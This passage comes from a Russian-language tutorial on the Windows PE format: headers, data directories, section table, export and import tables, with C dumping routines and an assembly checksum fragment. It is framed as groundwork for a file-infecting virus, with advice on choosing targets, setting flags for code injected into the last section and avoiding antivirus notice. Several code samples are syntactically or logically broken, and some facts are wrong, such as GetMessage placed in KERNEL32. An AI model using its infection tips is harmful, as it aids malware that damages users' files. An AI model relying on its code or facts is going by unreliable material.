        add     eax, dword ptr [esi]

        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, 00000000h
        add     esi, 00000020h
        sub     ecx, 00000020h
        je      func0_saltito2

func0_saltito5:
        test    ecx, 00000040h
        je      func0_saltito6
        add     eax, dword ptr [esi]

        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, dword ptr [esi+20h]
        adc     eax, dword ptr [esi+24h]
        adc     eax, dword ptr [esi+28h]
        adc     eax, dword ptr [esi+2Ch]
        adc     eax, dword ptr [esi+30h]
        adc     eax, dword ptr [esi+34h]
        adc     eax, dword ptr [esi+38h]
        adc     eax, dword ptr [esi+3Ch]
        adc     eax, 00000000h
        add     esi, 00000040h
        sub     ecx, 00000040h
        je      func0_saltito2

func0_saltito6:
        add     eax, dword ptr [esi]

        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, dword ptr [esi+20h]
        adc     eax, dword ptr [esi+24h]
        adc     eax, dword ptr [esi+28h]
        adc     eax, dword ptr [esi+2Ch]
        adc     eax, dword ptr [esi+30h]
        adc     eax, dword ptr [esi+34h]
        adc     eax, dword ptr [esi+38h]
        adc     eax, dword ptr [esi+3Ch]
        adc     eax, dword ptr [esi+40h]
        adc     eax, dword ptr [esi+44h]
        adc     eax, dword ptr [esi+48h]
        adc     eax, dword ptr [esi+4Ch]
        adc     eax, dword ptr [esi+50h]
        adc     eax, dword ptr [esi+54h]
        adc     eax, dword ptr [esi+58h]
        adc     eax, dword ptr [esi+5Ch]
        adc     eax, dword ptr [esi+60h]
        adc     eax, dword ptr [esi+64h]
        adc     eax, dword ptr [esi+68h]
        adc     eax, dword ptr [esi+6Ch]
        adc     eax, dword ptr [esi+70h]
        adc     eax, dword ptr [esi+74h]
        adc     eax, dword ptr [esi+78h]
        adc     eax, dword ptr [esi+7Ch]
        adc     eax, 00000000h
        add     esi, 00000080h
        sub     ecx, 00000080h
        jne     func0_saltito6

func0_saltito2:
        test    edx, edx
        je      func0_saltito0

func0_saltito7:
        sub     ecx, ecx
        mov     cx, word ptr [esi]
        add     eax, ecx
        adc     eax, 00000000h
        add     esi, 00000002h
        sub     edx, 00000002h
        jne     func0_saltito7

func0_saltito0:
        mov     edx, eax
        shr     edx, 10h
        and     eax, 0000FFFFh
        add     eax, edx
        mov     edx, eax
        shr     edx, 10h
        add     eax, edx
        and     eax, 0000FFFFh
        pop     esi
        ret     000Ch
end     start
 
WORD Subsystem;
Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:
#define IMAGE_SUBSYSTEM_UNKNOWN         0       // неизвестная подсистема
#define IMAGE_SUBSYSTEM_NATIVE          1       // приложению не требуется подсистема
#define IMAGE_SUBSYSTEM_WINDOWS_GUI     2       // запускается в подсистеме Windows GUI
#define IMAGE_SUBSYSTEM_WINDOWS_CUI     3       // запускается в подсистеме Windows character
#define IMAGE_SUBSYSTEM_OS2_CUI         5       // запускается в подсистеме OS/2 character
#define IMAGE_SUBSYSTEM_POSIX_CUI       7       // запускается в подсистеме Posix character
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS  8       // приложение - драйвер Windows 9x
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI  9       // запускается в подсистеме Windows CE
 

Подсистема может быть только одна. Если подсистема CUI, то Windows создает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI

WORD DllCharacteristics;
Поле никогда не используется. Может быть любым.
DWORD SizeOfStackReserve;
Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле.
DWORD SizeOfStackCommit;
Объем виртуальной памяти, выделяемой под начальный стек потока.
DWORD SizeOfHeapReserve;
Объем виртуальной памяти, резервируемой под начальный хип программы.
DWORD SizeOfHeapCommit;
Объем виртуальной памяти, выделяемой под начальный хип программы.
DWORD LoaderFlags;
Не используемое поле. Может быть любым.
DWORD NumberOfRvaAndSizes;
Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. Даже константа IMAGE_NUMBEROF_DIRECTORY_ENTRIES в WINNT.H определена как 10H. Так что размер опционального заголовка, скорее всего, будет E0H байт.
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:
typedef struct _IMAGE_DATA_DIRECTORY
{
        DWORD   VirtualAddress; //RVA директории
        DWORD   Size;           //Размер директории
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
 

Вообще каждый элемент массива указывает на какую-либо структуру, например на таблицу импорта. Т.е. каждый элемент это информация о директории, каждая из которых несет собой определенную смысловую нагрузку. Определенный индекс в массиве соответствует определенной директории. Директория может быть секцией, а может и не быть секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта, то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов:

#define IMAGE_DIRECTORY_ENTRY_EXPORT            0       // Директория экспорта
#define IMAGE_DIRECTORY_ENTRY_IMPORT            1       // Директория импорта
#define IMAGE_DIRECTORY_ENTRY_RESOURCE          2       // Директория ресурсов
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION         3       // Директория исключений
#define IMAGE_DIRECTORY_ENTRY_SECURITY          4       // Директория безопасности
#define IMAGE_DIRECTORY_ENTRY_BASERELOC         5       // Таблица базовых поправок
#define IMAGE_DIRECTORY_ENTRY_DEBUG             6       // Отладочная директория
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE      7       // Данные специфичные для архитектуры
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR         8       // RVA глобальных указателей
#define IMAGE_DIRECTORY_ENTRY_TLS               9       // TLS директория
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG       10      // Директория конфигурации при загрузке
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT      11      // Директория Bound-импорта
#define IMAGE_DIRECTORY_ENTRY_IAT               12      // Таблица импортированных адресов (IAT)
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT      13      // Дескриптор delay-импорта
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR    14      // COM Runtime дескриптор
 

Структура IMAGE_DATA_DIRECTORY содержит в себе RVA директории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.

Работа с заголовками PE-файла

void printHeaders(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);

        printf("#####File Header#####\n");
        printf( "Machine:%X\nNumber of Sections:%X\nTimeDateStamp:%X\nPointer to Symbol Table:%X\n"
                "Number Of Symbols:%X\nSize Of Optional Header:%X\nCharacteristics:%X\n",
                pPE->FileHeader.Machine,
                pPE->FileHeader.NumberOfSections,
                pPE->FileHeader.TimeDateStamp,
                pPE->FileHeader.PointerToSymbolTable,
                pPE->FileHeader.NumberOfSymbols,
                pPE->FileHeader.SizeOfOptionalHeader);

        printf("#####Optional Header#####\n");
        printf( "Magic:%X\nMajorLinkerVersion:%X\nMinorLinkerVersion:%X\nSizeOfCode:%X\n"
                "SizeOfInitializedData:%X\nSizeOfUninitializedData:%X\nAddressOfEntryPoint:%X\n"
                "BaseOfCode:%X\nBaseOfData:%X\nImageBase:%X\nSectionAlignment:%X\nFileAlignment:%X\n"
                "MajorOperatingSystemVersion:%X\nMinorOperatingSystemVersion:%X\nMajorImageVersion:%X\n"
                "MinorImageVersion:%X\nMajorSubsystemVersion:%X\nMinorSubsystemVersion:%X\n"
                "Win32VersionValue:%X\nSizeOfImage:%X\nSizeOfHeaders:%X\nCheckSum:%X\nSubsystem:%X\n"
                "DllCharacteristics:%X\nSizeOfStackReserve:%X\nSizeOfStackCommit:%X\n"
                "SizeOfHeapReserve:%X\nSizeOfHeapCommit:%X\nLoaderFlags:%X\nNumberOfRvaAndSizes:%X\n",
                pPE->OptionalHeader.Magic,
                pPE->OptionalHeader.MajorLinkerVersion,
                pPE->OptionalHeader.MinorLinkerVersion,
                pPE->OptionalHeader.SizeOfCode,
                pPE->OptionalHeader.SizeOfInitializedData,
                pPE->OptionalHeader.SizeOfUninitializedData,
                pPE->OptionalHeader.AddressOfEntryPoint,
                pPE->OptionalHeader.BaseOfCode,
                pPE->OptionalHeader.BaseOfData,
                pPE->OptionalHeader.ImageBase,
                pPE->OptionalHeader.SectionAlignment,
                pPE->OptionalHeader.FileAlignment,
                pPE->OptionalHeader.MajorOperatingSystemVersion,
                pPE->OptionalHeader.MinorOperatingSystemVersion,
                pPE->OptionalHeader.MajorImageVersion,
                pPE->OptionalHeader.MinorImageVersion,
                pPE->OptionalHeader.MajorSubsystemVersion,
                pPE->OptionalHeader.MinorSubsystemVersion,
                pPE->OptionalHeader.Win32VersionValue,
                pPE->OptionalHeader.SizeOfImage,
                pPE->OptionalHeader.SizeOfHeaders,
                pPE->OptionalHeader.CheckSum,
                pPE->OptionalHeader.Subsystem,
                pPE->OptionalHeader.DllCharacteristics,
                pPE->OptionalHeader.SizeOfStackReserve,
                pPE->OptionalHeader.SizeOfStackCommit,
                pPE->OptionalHeader.SizeOfHeapReserve,
                pPE->OptionalHeader.SizeOfHeapCommit,
                pPE->OptionalHeader.LoaderFlags,
                pPE->OptionalHeader.NumberOfRvaAndSizes);

}
 

Работа с таблицей директорий

void printDataDirectory(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=static_cast<struct _IMAGE_NT_HEADERS*>NTSIGNATURE((long)hMap);
        PIMAGE_DATA_DIRECTORY   DataDirectory=(PIMAGE_DATA_DIRECTORY)&(pPE->OptionalHeader.DataDirectory);

        for (int i=0;i<;pPE->OptionalHeader.NumberOfRvaAndSizes;i++)
        {
                switch (i)
                {
                        case IMAGE_DIRECTORY_ENTRY_EXPORT:
                                printf("---Export Directory---\nRVA: %X\nSize:%X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_IMPORT:
                                printf("---Import Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_RESOURCE:
                                printf("---Resource Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_EXCEPTION:
                                printf("---Exception Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_SECURITY:
                                printf("---Security Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_BASERELOC:
                                printf("---Basereloc Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_DEBUG:
                                printf("---Debug Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
                                printf("---Architecture Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_GLOBALPTR:
                                printf("---GlobalPTR Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_TLS:
                                printf("---TLS Directory---\nRVA: %X\n%Size: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:
                                printf("---LOADCONFIG Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
                                printf("---Bound-Import Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_IAT:
                                printf("---IAT Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
                                printf("---Delay-Import Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                        case IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR:
                                printf("---Com Descriptor Directory---\nRVA: %X\nSize: %X\n",
                                        DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;

                }
        }
}
 

Таблица секций

Таблица секций - это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов :). Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки, а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо "талантливые- программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях Windows NT могут использоваться много стандартных секций - .text(.CODE) - код программы, .bss - для неинициализированных данных, .rdata - данные только для чтения, .data - глобальные переменные, .rsrc - ресурсы, .edata - экспорт, .idata - импорт, .debug - отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:

typedef struct _IMAGE_SECTION_HEADER {
        BYTE    Name[8];
        union {
                DWORD   PhysicalAddress;
                DWORD   VirtualSize;
        } Misc;

        DWORD   VirtualAddress;
        DWORD   SizeOfRawData;
        DWORD   PointerToRawData;
        DWORD   PointerToRelocations;
        DWORD   PointerToLinenumbers;
        WORD    NumberOfRelocations;
        WORD    NumberOfLinenumbers;
        DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
 

Опишем по порядку эти поля:

BYTE Name[8];
Название секции.
union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc;
Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawData выровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то...здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.
DWORD VirtualAddress;
Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA.
DWORD SizeOfRawData;
Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла.
DWORD PointerToRawData;
Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении.
DWORD PointerToRelocations;
Не используется в исполняемых файлах. Может быть любым.
DWORD PointerToLinenumbers;
Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение.
WORD NumberOfRelocations;
Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым.
WORD NumberOfLinenumbers;
Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbers не используется, то может принимать любые значения.
DWORD Characteristics;
Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.
#define IMAGE_SCN_CNT_CODE                      0x00000020      // Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA          0x00000040      // Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA        0x00000080      // Секция содержит неинициализированные данные.
#define IMAGE_SCN_MEM_DISCARDABLE               0x02000000      // Эта секция отбрасывается когда
                                                                // программа уже загружена.
                                                                // Важно, при внедрении отбросить этот флаг
                                                                // если он установлен для данной секции.
#define IMAGE_SCN_MEM_SHARED                    0x10000000      // Секция является общедоступной или разделяемой.
#define IMAGE_SCN_MEM_EXECUTE                   0x20000000      // Секция является исполняемой.
#define IMAGE_SCN_MEM_READ                      0x40000000      // Данные секции можно читать.
#define IMAGE_SCN_MEM_WRITE                     0x80000000      // В секцию можно записывать данные.
 

Флаги IMAGE_SCN_MEM_EXECUTE и IMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию "или-. Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristics будет выглядить следующим образом:

80000000H
+
40000000H
+
00000020H
=
A0000020H

Это значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.

Работа с таблицей секций

Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.

void printSectionHeader(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=static_cast<struct _IMAGE_NT_HEADERS>NTSIGNATURE((long)hMap);
        PIMAGE_SECTION_HEADER   Section=(PIMAGE_SECTION_HEADER)
                (pPE->FileHeader.SizeOfOptionalHeader+(long)&(pPE->OptionalHeader));

        for (int i=0;i<pPE->FileHeader.NumberOfSections;i++)
        {
                printf( "----------Section: %.8s----------\nVirtual Address:"
                        "%X\nVirtual Size: %X\nSizeOfRawData: %X\n PointerToRawData:"
                        "%X\nCharacteristics: %X\n",
                        &(Section->Name),
                        Section->VirtualAddress,
                        Section->Misc.VirtualSize,
                        Section->SizeOfRawData,
                        Section->PointerToRawData,
                        Section->Characteristics);

                Section++;
        }
}
 

Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.

Таблица Экспорта

Экспорт - механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLL обычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал - это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.

В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:

typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
 
DWORD Characteristics;
Это поле не используется. Может быть любым.
DWORD TimeDateStamp;
Это поле содержит дату создания файла. Может быть любым.
WORD MajorVersion; WORD MinorVersion;
Поля не используются. Могут быть любыми.
DWORD Name;
Это RVA ASCIIZ-строки содержащей имя данного исполняемого модуля.
DWORD Base;
Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B, 57B, 58B и больше экспортируемых функций нет, то это значение будет 56B.
DWORD NumberOfFunctions;
Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу.
DWORD NumberOfNames;
Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам.
DWORD AddressOfFunctions;
RVA массива адресов функций. Адреса функций - это RVA точек входа каждой функции. Т.к. RVA в PE32 32-х разрядные, то это массив DWORD'ов.
DWORD AddressOfNames;
Это поле является RVA и указывает на массив указателей на строки. Строки - ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле.
DWORD AddressOfNameOrdinals;
RVA массива слов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.

Как происходит экспорт

Самое важное поле в таблице экспорта - это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции - по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них - AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNames содержит RVA строк с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:

Не забывайте, что имена функций могут быть представлены в двух версиях - ANSI и UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции. Для ANSI версии в конце имени функции используется буква A, для UNICODE - W.

В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.

Передача экспорта

Иногда в одной DLL содержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeap из NTDLL.DLL.

Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот "адрес функции- является RVA-строки вида имя_библиотеки.имя_функции (например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить, что функция является переданной.

Работа с таблицей экспорта

Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:

  1. Поиск адреса функции по имени. Алгоритм выглядит так:
    1. Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.
    2. Использовать этот индекс как индекс в массиве AddressOfNameOrdinals и получить значение в массиве.
    3. Вычесть из полученного значения OrdinalBase.
    4. Использовать полученный индекс, чтобы получить RVA функции в массиве AddressOfFuncions

      Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.

  2. Поиск имени по ординалу
    1. Взять ординал и сложить его с OrdinalBase.
    2. Найти полученное значение в массиве AddressOfNameOrdinals.
    3. Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.
void PrintExportTable(long hMap)
{
        PIMAGE_NT_HEADERS       pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE(hMap);
        short                   NumberOfSection=pPE->FileHeader.NumberOfSections;
        DWORD                   ExportRVA=pPE->OptionalHeader.DataDirectory[0].VirtualAddress;

        PIMAGE_EXPORT_DIRECTORY Export=(PIMAGE_EXPORT_DIRECTORY)RVAtoOffset((long)hMap,ExportRVA);
        Export=(PIMAGE_EXPORT_DIRECTORY)((long)Export+(long)hMap);

        WORD*   AddressOfNameOrdinals=(unsigned short *)RVAtoOffset((long)hMap,Export->AddressOfNameOrdinals);
        AddressOfNameOrdinals=(WORD*)((long)AddressOfNameOrdinals+(long)hMap);


        DWORD*  AddressOfNames=(unsigned long *)RVAtoOffset((long)hMap,Export->AddressOfNames);
        AddressOfNames=(DWORD*)((long)AddressOfNames+(long)hMap);

        DWORD* AddressOfFunctions=(unsigned long*)RVAtoOffset((long)hMap,Export->AddressOfFunctions);
        AddressOfFunctions=(DWORD*)((long)AddressOfFunctions+(long)hMap);


        WORD    index;
        printf( "%4s %-40s %s\n-----------------------------------------------------------------------\n",
                "Ordinal","NameOfFunctions","EntryPoint");

        for (unsigned int i=0;i<Export->NumberOfFunctions-1;i++)
        {
                index=0xFFFF;
                for (unsigned int j=0;j<Export->NumberOfNames;j++)
                {
                        if (AddressOfNameOrdinals[j]==(i+Export->Base))
                        {
                                index=j;continue;
                        }
                }
                if ((AddressOfFunctions[i]>=pPE->OptionalHeader.DataDirectory[0].VirtualAddress)&&
                        (AddressOfFunctions[i]<=pPE->OptionalHeader.DataDirectory[0].VirtualAddress+
                        pPE->OptionalHeader.DataDirectory[0].Size))

                {
                        if (index!=0xFFFF)
                                printf("%4d |%-35s |Forw->%s\n",
                                        i+Export->Base,
                                        (long)hMap+RVAtoOffset((long)hMap,
                                        AddressOfNames[index]),
                                        (long)hMap+RVAtoOffset((long)hMap,
                                        AddressOfFunctions[i]));

                        else
                                printf("%4d |OrdinalOnly |Forw->%s\n",
                                        i+Export->Base,
                                        (long)hMap+RVAtoOffset((long)hMap,
                                        AddressOfNames[index]),
                                        (long)hMap+RVAtoOffset((long)hMap,
                                        AddressOfFunctions[i]));

                }
                if (index!=0xFFFF)
                        printf("%4d |%-35s |%X\n",
                                i+Export->Base,
                                (long)hMap+RVAtoOffset((long)hMap,
                                AddressOfNames[index]),
                                AddressOfFunctions[i]);

                else
                        printf("%4d |OrdinalOnly |%X\n",
                                i+Export->Base,
                                AddressOfFunctions[i]);
        }
}
 

Таблица импорта

Импорт в PE-файлах - это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32. DLL, то вместо инструкции CALL используется инструкция JMP DWORD PTR [XXXXXXXX]. Адрес указанный как XXXXXXXX находиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:

Это очень удачное решение - хранить адрес функции в одном месте. Если DLL загрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.

Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при чтении других авторов.

Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов - это первая вещь, которая действительно интересна.

Структуры и термины импорта

Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibrary возвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе "Биндинг-).

Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива - нулевой. Каждый элемент соответствует DLL, из которой импортируют функции. Каждый элемент выглядит следующим образом:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        union {
                DWORD   Characteristics;        // 0 for terminating null import descriptor
                DWORD   OriginalFirstThunk;     // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
        };
        DWORD   TimeDateStamp;                  // 0 if not bound,
                                                // -1 if bound, and real date\time stamp
                                                // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                                // O.W. date/time stamp of DLL bound to (Old BIND)

        DWORD   ForwarderChain;                 // -1 if no forwarders
        DWORD   Name;
        DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
 

Опишем поля этой структуры по порядку.

